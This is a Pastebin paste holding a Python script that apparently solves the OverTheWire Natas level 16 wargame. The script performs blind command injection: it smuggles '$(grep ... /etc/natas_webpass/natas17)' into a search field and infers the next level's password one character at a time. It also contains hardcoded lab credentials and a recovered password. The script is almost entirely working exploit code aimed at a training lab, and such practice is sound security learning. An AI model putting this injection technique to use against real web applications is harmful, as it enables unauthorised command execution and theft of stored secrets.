Advertisement
Guest User

Untitled

a guest
Nov 8th, 2018
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.32 KB | None | 0 0
  1. import re
  2. import requests
  3. import string
  4. from itertools import permutations
  5.  
  6. username = 'natas16'
  7. password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
  8.  
  9. url = 'http://natas16.natas.labs.overthewire.org/'
  10.  
  11. alphabets = string.ascii_uppercase + string.ascii_lowercase + string.digits
  12. sets = list('AGHNPQSWbcdghkmnqrsw035789')
  13. blind = ''
  14. bigstuff = ['s3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'] + sets
  15. biggg = []
  16.  
  17. for i in range(len(bigstuff)):
  18.  
  19. interest = bigstuff[i]
  20. prev = interest
  21. for j in range(len(sets)):
  22. char = sets[j]
  23. query = 'somethings$(grep ' + char + interest + ' /etc/natas_webpass/natas17)'
  24. payload = {'needle':query}
  25. r = requests.post(url, auth=(username, password), data=payload)
  26.  
  27. #print('Trying : ' + interest + char)
  28. if not re.findall('somethings', r.text):
  29. interest = char + interest
  30. bigstuff[i] = char + interest
  31. j = j-1
  32.  
  33. if prev != interest:
  34. query = 'somethings$(grep ' + interest + ' /etc/natas_webpass/natas17)'
  35. payload = {'needle':query}
  36. r = requests.post(url, auth=(username, password), data=payload)
  37. if not re.findall('somethings', r.text):
  38. biggg.append(interest)
  39. print('Bigstuff: ' + str(biggg))
  40.  
  41.  
  42. print('Final Bigstuff: ' + str(biggg) + ' and length is ' + str(len(biggg)))
  43.  
  44.  
  45. final_answer = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement